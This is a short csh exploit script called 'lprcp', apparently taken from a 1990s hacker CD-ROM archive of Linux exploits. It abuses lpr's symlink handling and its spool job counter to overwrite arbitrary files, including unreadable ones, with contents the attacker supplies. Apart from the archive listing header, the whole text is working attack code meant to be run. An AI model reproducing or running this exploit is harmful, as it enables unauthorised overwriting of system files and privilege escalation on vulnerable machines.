home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-lp.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  753 b   |  28 lines

  1. #!/bin/csh -f
  2.  
  3. #
  4.  
  5. # Usage: lprcp from-file to-file
  6.  
  7. #
  8.  
  9.  
  10.  
  11. if ($#argv != 2) then
  12.  
  13.         echo Usage: lprcp from-file to-file
  14.  
  15.         exit 1
  16.  
  17. endif
  18.  
  19.  
  20.  
  21. # This link stuff allows us to overwrite unreadable files,
  22.  
  23. # should we want to.
  24.  
  25. echo x > /tmp/.tmp.$$
  26.  
  27. lpr -q -s /tmp/.tmp.$$
  28.  
  29. rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
  30.  
  31. ln -s $2 /tmp/.tmp.$$           # to where we really want
  32.  
  33.  
  34.  
  35. @ s = 0
  36.  
  37. while ( $s != 999)              # loop 999 times
  38.  
  39.         lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
  40.  
  41.         @ s++
  42.  
  43.         if ( $s % 10 == 0 ) echo -n .
  44.  
  45. end
  46.  
  47. lpr $1                          # incoming file
  48.  
  49.                                 # user becomes owner
  50.  
  51. rm -f /tmp/.tmp.$$
  52.  
  53. exit 0
  54.  
  55.